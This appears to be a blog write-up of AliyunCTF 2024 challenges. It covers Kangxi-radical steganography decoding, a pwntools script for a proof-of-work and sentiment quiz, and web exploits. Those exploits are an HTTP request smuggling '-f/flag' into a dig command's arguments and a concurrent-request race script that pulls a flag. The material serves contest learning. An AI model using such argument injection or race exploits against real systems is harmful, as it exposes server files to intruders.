AliyunCTF 2024

Misc

  • 给了一段wiki上的文字
汉字,又称中文字、华⽂字、华语字、唐话字、唐人字、中国字,为记录汉语而发明的语素文字,受到汉字文化圈广泛使用,为世界唯一仍广泛使用并⾼度发展的语素文字,也是独有的指示会意⽂字体系。最初,由中国上古时代的黄河文明华夏族所发明创制,其字体历经长久改进及演变。目前确切出现的历史尚有讨论空间,最早可追溯至陶文,成熟于约公元前1300年商朝的甲骨⽂、籀文、金⽂,再到春秋战国与秦朝的籀⽂、⼩篆,发展⾄汉朝发生⾪变产⽣隶书并于后世派⽣出草书、楷书、行书,在唐代稳定为今日所用的⼿写字体标准——正楷。

汉字是迄今为止连续使用时间最长的主要⽂字,也是唯⼀使用至今的原生⽂字。相较而⾔,古埃及、巴⽐伦、古印度文字都早已消亡。中国历代皆以汉字为主要官⽅文字,现时在中华人民共和国为实务上的官方文字。汉字在古代已发展至⾼度完备的水准,不单中国使⽤,在很长时期内还充当东亚地区唯一的国际通用⽂字,在20世纪前都是朝鲜半岛、越南、琉球和⽇本等国家的书面规范⽂字。除了汉语之外,古代东亚诸国均有自行创制汉字。

现代汉语汉字⼤体分为传统汉字与简化字两⼤标准,前者主要用于台湾以及香港、澳门,后者则由中国大陆制定并使⽤,且为新加坡、马来西亚等华侨众多的国家采用。⾮汉语体系中,日本将部分汉字自行作简后,成为现在的⽇本新字体,大韩民国也制定了官⽅的朝鲜汉字使⽤规范,⽽史上曾使用过汉字的朝鲜民主主义人民共和国、越南、蒙古等国,汉字现今已不再具有官方规范地位。

此外,汉语也是多数国际组织(例如联合国、上海合作组织等)的⼯作语⾔,加上这些国际组织均采用简体字为⼯作语⾔,以及中国崛起等原因,所以现今多数国家的外国⼈如果学习汉字,均以简体字为主。少数情况下才会学习繁体字(如研究中国历史、研究古代汉语、派驻港澳台地区等)。

## “汉字”语源

“汉字”⼀词最早出自元朝《⾦史》卷九本纪第九,“章宗一”:“十⼋年,封⾦源郡王。始习本朝语言小字,及汉字经书,以进⼠完颜匡、司经徐孝美等侍读”。《⾦史》也出现多次,如:“女真初⽆⽂字,及破辽,获契丹、汉人,始通契丹、汉字,于是诸子皆学之”、“长子布辉,识⼥真、契丹、汉字,善骑射”,将汉族文字、女真族文字、契丹族文字之间互相区别。

在清朝前期,政府官⽅文字是满文,当时已用“汉字”一词称呼中国汉族的传统文字。另外,日本人也称呼为“漢字”,以别于由汉字派生的假名。在李⽒朝鲜,“漢字”则与训民正音(谚文)相区别。在越南,“漢字”则与由汉字派生的喃字相区别。在琉球国,“漢字”则与琉球国字头相区别。

## 汉字的历史 - 繁化与简化

汉字非为一时、⼀地、一⼈所造,是古⼈共同使用流传后的结果,受到多数⼈使用的字形则可流传⾄今,不受流通的字形则收藏在⾦⽯古典,或消失在历史洪流之中。因此,有的字会为了书写简便,省笔或速写渐渐成为另⼀个笔画少的字体,称为“汉字简化”;但是亦有为了使汉字能清晰识别或加强表音、表意,而将字形增加笔画或部件,使得该字能精准表达或是不易更动,称为“汉字繁化”。

“汉字繁化”的⾸要目的是加强汉字的识别度,避免混淆。如国字数字的大小写中,因“一、⼆、三”等数字笔画少,在书写后容易遭到篡改⽽影响金额、数量等利益,除若⼲数字是借⽤笔画较多的他字来代表数字,如以“壹”代“一”、“贰”代“二”、“伍”代“五”、“陆”代“六”、“玖”代“九”等外,另外则采增加笔画或部件⽽造出的汉字数字,如“一”有“弌”、“二”有“弍”、“三”有“弎、叄、叁(亦为参之代字后变体)”、“四”有“䦉”等,在原来的汉字上再加上其他笔画部件,⽽音义并未改变,是汉字繁化情形。“上”和“下”也是由古⽂“丄”(或“𠄞”)和“丅”(或“𠄟”)增笔繁化⽽成。

有些繁化现象,则为加强字理。例如为加强汉字标音功能⽽增加识音的声符。例如“⿒”字,古字作“𠚕”,是⼝中有⽛齿的象形。可能因不易识别字⾳而增加声符“止”作为标⾳,“𠚕”与“齒”的音和义是一样的。又如“⾾”字形是象⼆个散发动手打⽃之⼈,可能因不易识别字音而增加声符“⽃”、“豆”作为标⾳,繁化为“鬦”、“𩰒”,而“⾾”与“鬦”、“𩰒”的⾳和义是⼀样的。如此字义并⽆改变,繁化是为了能增加该字的标音功能。⼜例如替汉字增加义符,像“華”的古字并无上方的“艹”,本身是花朵的象形,后来增添义符“艹”表⽰类属。又如“舂”、“舊”等字所含有的“臼”字,甲骨⽂只作“⼐”,像凹陷下去的形状,然而这形状也很容易被理解作地⾯凹陷下去;因此⾦文就在“凵”内加像米粒、⾕粒的⼩点,增强它的象形成分,使“⾅”义明显。

另外,亦有汉字造字的繁化现象。汉字作为古人识别万事万物的工具,然⽽人事物众多,汉字却有限,若将万事万物都造⼀字表⽰,则汉字数量过于庞⼤,如古时以马作为生活交通⼯具,为不同类型的马造出许多汉字,如“骧(xiāng、ㄒㄧㄤ):后右蹄白色的马”、“馵(zhù、ㄓㄨˋ):后左脚白⾊的马”、“𩨊(qián、ㄑㄧㄢˊ):四蹄全白的马”等字,⼤量增加马部专属的汉字,虽能特定、精准地专指某种马匹的意思,至今却鲜少使⽤。因此,一般仍是以⼀个汉字具备多项意义来运⽤,再由⼀个汉字沿伸出多个汉字,称为“汉字繁化”。而相同字义的汉字繁化,为汉字同源词中的“累增字”,繁化后产⽣不同意义者为汉字同源词中的“后起字”及“孳乳字”。

此处与“简体字”(“相同字义而笔画减省”的汉字)相对,故仅论述“相同字义而笔画增繁”的汉字,即“累增字”,指原字虽已造,然而该字借给他⽤后对于表达原事物的意义渐渐不清,故再增加表意部件来表达原字意义,如“止”本意为脚趾,后世多借⽤此字表示“停留”义,于是加“⾜”繁化为“趾”以示本义;“然”本意为燃烧,后多将其⽤作虚词,原义加“⽕”繁化为“燃”;“它”本意为蛇,但逐渐⽤作代词,本义则加“虫”部繁化为“蛇”。

汉字结构复杂,异体字⾮常多。自古以来已经有许多的俗字,其中有一些是为了书写简便,较之正字笔画减少的简俗字,但俗字多半是人民私下使⽤,正式的文书仍然是⽤繁体字。

近代,处于强势地位的西方⽂明开始进入东亚,整个汉字⽂化圈的各个国家中纷纷掀起了学习西方的思潮。当中有⼈坚持汉字的传统,亦有⿎吹放弃使用汉字。这些⿎吹放弃汉字运动的立论“汉字落后论”,内容为:跟西方拼⾳文字相比,汉字是繁琐笨拙的。尤其在近代个人电脑还没有普遍化以前,因为汉字不能透过打字机书写,⽽必须使⽤巨型的排版房的铅字,也就是说汉字已成为教育及信息化上的瓶颈。但是近代个人电脑普遍化以后,汉字能透过个人电脑输⼊,此种论述已经不具说服性。许多使⽤汉字国家以政治推行的⽅式,进⾏了不同程度的汉字简化,甚至还有完全拼音化的尝试。⽇本的使用假名方案以及汉语多种拼音⽅案的出现都是基于这种考量。

对于“汉字简化”,执⾏的對象有民间及官方⼆种。在民间百姓写字只为纪录或交流,不需要严格遵守笔画规范,因为汉字笔画多,在书写时会有连笔、省笔以求快速书写是古今皆有的现象,如将“⾙”、“見”、“且”、“直”等有框中二横、三横的笔画直接以一直笔代替,这是民间汉字简化的情形,加上普遍在社会中流通,成为民间“⼿头字”、“俗字”;而官方的“汉字简化”则是由政府以公权力进行并颁布实施。

1935年8⽉21日,中华民国国民政府教育部颁布《第一批简体字表》,1936年2月被通令“暂缓推行”。

中华人民共和国政府1956年1月28日发布《汉字简化方案》,1964年5⽉审定通过《简化字总表》,客观上配合了不久之后的文化大革命“破四旧”政策。1986年经少量修订后重新发表,⼀直在中国⼤陆地区使⽤⾄今。1977年,曾公布《第⼆批汉字简化⽅案(草案)》,发布“⼆简字”,试用一段时间(约八年)后因为字形过于简陋且混乱而停用,并于1986年正式宣布废除。新加坡和马来西亚政府分别发布了同中国大陆《简化字总表》相同的简化字表。

日本政府在二战结束后也进行了汉字简化。1946年日本内阁公布了《当用汉字表》,收字1850个,其中对部分汉字进行了简化,有些简化后的汉字与中国大陆简化后的汉字一致,有些则有一定差异,部分为日本自创。
  • 很明显看得出部分字体有些不太一样,为康熙部首,所有的康熙部首
1; 2F00; 4E00
2; 2F01; 4E28
3; 2F02; 4E36
4; 2F03; 4E3F
5; 2F04; 4E59
6; 2F05; 4E85
7; 2F06; 4E8C
8; 2F07; 4EA0
9; 2F08; 4EBA
10; 2F09; 513F
11; 2F0A; 5165
12; 2F0B; 516B
13; 2F0C; 5182
14; 2F0D; 5196
15; 2F0E; 51AB
16; 2F0F; 51E0
17; 2F10; 51F5
18; 2F11; 5200
19; 2F12; 529B
20; 2F13; 52F9
21; 2F14; 5315
22; 2F15; 531A
23; 2F16; 5338
24; 2F17; 5341
25; 2F18; 535C
26; 2F19; 5369
27; 2F1A; 5382
28; 2F1B; 53B6
29; 2F1C; 53C8
30; 2F1D; 53E3
31; 2F1E; 56D7
32; 2F1F; 571F
33; 2F20; 58EB
34; 2F21; 5902
35; 2F22; 590A
36; 2F23; 5915
37; 2F24; 5927
38; 2F25; 5973
39; 2F26; 5B50
40; 2F27; 5B80
41; 2F28; 5BF8
42; 2F29; 5C0F
43; 2F2A; 5C22
44; 2F2B; 5C38
45; 2F2C; 5C6E
46; 2F2D; 5C71
47; 2F2E; 5DDB
48; 2F2F; 5DE5
49; 2F30; 5DF1
50; 2F31; 5DFE
51; 2F32; 5E72
52; 2F33; 5E7A
53; 2F34; 5E7F
54; 2F35; 5EF4
55; 2F36; 5EFE
56; 2F37; 5F0B
57; 2F38; 5F13
58; 2F39; 5F50
59; 2F3A; 5F61
60; 2F3B; 5F73
61; 2F3C; 5FC3
62; 2F3D; 6208
63; 2F3E; 6236
64; 2F3F; 624B
65; 2F40; 652F
66; 2F41; 6534
67; 2F42; 6587
68; 2F43; 6597
69; 2F44; 65A4
70; 2F45; 65B9
71; 2F46; 65E0
72; 2F47; 65E5
73; 2F48; 66F0
74; 2F49; 6708
75; 2F4A; 6728
76; 2F4B; 6B20
77; 2F4C; 6B62
78; 2F4D; 6B79
79; 2F4E; 6BB3
80; 2F4F; 6BCB
81; 2F50; 6BD4
82; 2F51; 6BDB
83; 2F52; 6C0F
84; 2F53; 6C14
85; 2F54; 6C34
86; 2F55; 706B
87; 2F56; 722A
88; 2F57; 7236
89; 2F58; 723B
90; 2F59; 723F
91; 2F5A; 7247
92; 2F5B; 7259
93; 2F5C; 725B
94; 2F5D; 72AC
95; 2F5E; 7384
96; 2F5F; 7389
97; 2F60; 74DC
98; 2F61; 74E6
99; 2F62; 7518
100; 2F63; 751F
101; 2F64; 7528
102; 2F65; 7530
103; 2F66; 758B
104; 2F67; 7592
105; 2F68; 7676
106; 2F69; 767D
107; 2F6A; 76AE
108; 2F6B; 76BF
109; 2F6C; 76EE
110; 2F6D; 77DB
111; 2F6E; 77E2
112; 2F6F; 77F3
113; 2F70; 793A
114; 2F71; 79B8
115; 2F72; 79BE
116; 2F73; 7A74
117; 2F74; 7ACB
118; 2F75; 7AF9
119; 2F76; 7C73
120; 2F77; 7CF8
121; 2F78; 7F36
122; 2F79; 7F51
123; 2F7A; 7F8A
124; 2F7B; 7FBD
125; 2F7C; 8001
126; 2F7D; 800C
127; 2F7E; 8012
128; 2F7F; 8033
129; 2F80; 807F
130; 2F81; 8089
131; 2F82; 81E3
132; 2F83; 81EA
133; 2F84; 81F3
134; 2F85; 81FC
135; 2F86; 820C
136; 2F87; 821B
137; 2F88; 821F
138; 2F89; 826E
139; 2F8A; 8272
140; 2F8B; 8278
141; 2F8C; 864D
142; 2F8D; 866B
143; 2F8E; 8840
144; 2F8F; 884C
145; 2F90; 8863
146; 2F91; 897E
147; 2F92; 898B
148; 2F93; 89D2
149; 2F94; 8A00
150; 2F95; 8C37
151; 2F96; 8C46
152; 2F97; 8C55
153; 2F98; 8C78
154; 2F99; 8C9D
155; 2F9A; 8D64
156; 2F9B; 8D70
157; 2F9C; 8DB3
158; 2F9D; 8EAB
159; 2F9E; 8ECA
160; 2F9F; 8F9B
161; 2FA0; 8FB0
162; 2FA1; 8FB5
163; 2FA2; 9091
164; 2FA3; 9149
165; 2FA4; 91C6
166; 2FA5; 91CC
167; 2FA6; 91D1
168; 2FA7; 9577
169; 2FA8; 9580
170; 2FA9; 961C
171; 2FAA; 96B6
172; 2FAB; 96B9
173; 2FAC; 96E8
174; 2FAD; 9751
175; 2FAE; 975E
176; 2FAF; 9762
177; 2FB0; 9769
178; 2FB1; 97CB
179; 2FB2; 97ED
180; 2FB3; 97F3
181; 2FB4; 9801
182; 2FB5; 98A8
183; 2FB6; 98DB
184; 2FB7; 98DF
185; 2FB8; 9996
186; 2FB9; 9999
187; 2FBA; 99AC
188; 2FBB; 9AA8
189; 2FBC; 9AD8
190; 2FBD; 9ADF
191; 2FBE; 9B25
192; 2FBF; 9B2F
193; 2FC0; 9B32
194; 2FC1; 9B3C
195; 2FC2; 9B5A
196; 2FC3; 9CE5
197; 2FC4; 9E75
198; 2FC5; 9E7F
199; 2FC6; 9EA5
200; 2FC7; 9EBB
201; 2FC8; 9EC3
202; 2FC9; 9ECD
203; 2FCA; 9ED1
204; 2FCB; 9EF9
205; 2FCC; 9EFD
206; 2FCD; 9F0E
207; 2FCE; 9F13
208; 2FCF; 9F20
209; 2FD0; 9F3B
210; 2FD1; 9F4A
211; 2FD2; 9F52
212; 2FD3; 9F8D
213; 2FD4; 9F9C
214; 2FD5; 9FA0
  • 转换逻辑:存在康熙部首但不是康熙部首的字为0,是康熙部首的字为1,得到一串二进制序列
data = open("all-kangxi.txt", "r").read().split("\n")
data = [i.split("; ") for i in data]
ori = [chr(int(i[2], 16)) for i in data]
kx = [chr(int(i[1], 16)) for i in data]
data = open("hanzi.txt", "r", encoding="utf-8").read()
news = ""
for each in data:
    if each in ori:
        news += "0"
    if each in kx:
        news += "1"
  • 7bit一组转10进制,转区位码
news = [int(news[i * 7: (i + 1) * 7], 2) + 160 for i in range(len(news) // 7)][:-3]
print(bytes(news).decode("gbk"))

# 阿里云夺旗赛左花括二六二六下划五五五四右花括

帕鲁情绪管理

from pwn import *
import hashlib
from itertools import product
from string import ascii_lowercase, digits

answers = dict()
for filename in ('dev', 'test', 'train'):
    with open(f'Capstone-BERT/data/Twitter_Sentiment/{filename}.tsv','r') as f:
        f.readline()
        for line in f:
            line = line.strip().split('\t')
            if len(line) == 2:
                answers[line[1]] = line[0]

io = remote('misc0.aliyunctf.com', 9999)
a = io.recvuntil(b" answer:").decode().split()
pre, hashed = a[0].strip('sha256((""'), a[4]
characters = ascii_lowercase + digits
for combination in product(characters, repeat=4):
    test_string = pre + ''.join(combination)
    test_hash = hashlib.sha256(test_string.encode()).hexdigest()
    if test_hash == hashed:
        found_combination = ''.join(combination)
        break
else:
    found_combination = ""
io.sendline(found_combination.encode())
io.sendlineafter(b"Do you want to training? (y/n) ", b'n')
io.sendlineafter(b"Now, Do you want to start challenge? (y/n) ", b'y')

for i in range(15):
    io.recvuntil(b"text: ")
    text = io.recvline().decode().strip().replace('"', '""')
    if text in answers:
        io.sendline(answers[text].encode())
    else:
        print(f"Answer not found for {text}")
        break

io.interactive()

Web

签到

POST /digHandler HTTP/1.1
Host: web0.aliyunctf.com:34022
Content-Length: 40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://web0.aliyunctf.com:47285
Referer: http://web0.aliyunctf.com:47285/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"domain":"localhost","type":"-f\/flag"}

pastbin

  • 条件竞争
func (rtr *Router) Handle(method string, pattern string, handlers []Handler) {
	rtr.handle(method, pattern, func(resp http.ResponseWriter, req *http.Request) {
		c := rtr.m.createContext(resp, req)
		for _, h := range handlers {
			c.mws = append(c.mws, getMWFromHandler(h))
		}
		c.run()
	})
}
  • exp.py
from multiprocessing import Process
from requests import get


root_url = "http://127.0.0.1:28080/"
flag_url = "http://127.0.0.1:28080/flag"
status = True


def root():
    global status
    while status:
        
        try:
            resp = get(root_url)
            if "aliyunctf{" in resp.text:
                print(resp.text)
                status = False
        except Exception as e:
            pass


def flag():
    global status
    while status:
        try:
            resp = get(flag_url)
            if "aliyunctf{" in resp.text:
                print(resp.text)
                status = False
        except Exception as e:
            pass


if __name__ == "__main__":
    for i in range(5):
        print("Start Process: ", i)
        Process(target=root).start()
        Process(target=flag).start()

唉,比赛的时候应该试试无脑并发请求的,已经有师傅看出来竞争了,可惜溜去吃饭了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇